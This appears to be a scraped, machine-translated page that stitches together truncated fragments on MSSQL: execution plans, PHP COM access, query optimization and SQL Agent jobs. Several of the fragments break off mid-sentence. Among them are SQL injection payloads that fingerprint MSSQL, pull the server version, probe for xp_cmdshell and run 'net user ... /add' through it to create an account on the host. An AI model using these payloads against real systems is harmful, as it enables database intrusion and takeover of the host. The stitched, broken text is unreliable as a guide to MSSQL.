Recently, I have always wanted to understand and understand MSSQL, but I have never thought about it and have no time to write it. At night I wrote an execution plan to explore MSSQL, this document describes the execution plan, but not limited to
Author: no_mIss QQ: 34813284
Time: 2006.11.07 23:30:00
Environment: win2003 + mssql2005
Recently, I have always wanted to understand and understand MSSQL, but I have never thought about it and have no time to write it. At night I wrote an
To use COM1, first of all, preparations: Access MSSQLSERVER2000 through PHP in Windows, there are two ways, (1) using COM (2) one is to use the MSSQL _ series functions in php. ini settings: (1) to allow DCOM, you need to set php. com. remove the
The online SQL optimization article is really a lot of to be honest, I have also looked everywhere for such articles, what not to use in, what or, what and, many many, and many people come up with only a few s or even a few examples of the time
And exists (select * from sysobjects) // you can check whether it is MSSQL.
And exists (select * from tableName) // determines whether a table exists. tableName indicates the table name.
And 1 = (select @ VERSION) // MSSQL VERSION
And 1 = (select db_
Mssql Job, mssql
1. What is a job?
A job is a series of specified operations performed by the SQL Server Agent in sequence. A job can execute various types of activities, including running Transact-SQL scripts, command prompt applications,
① Whether xp_cmdshell exists
And 1 = (select count (*) from Master. DBO. sysobjects where xtype = 'X' and name = 'xp _ Your shell ')
② Run the command with xp_cmdshell
; Exec master.. xp_cmdshell "Net user name password/Add "--;
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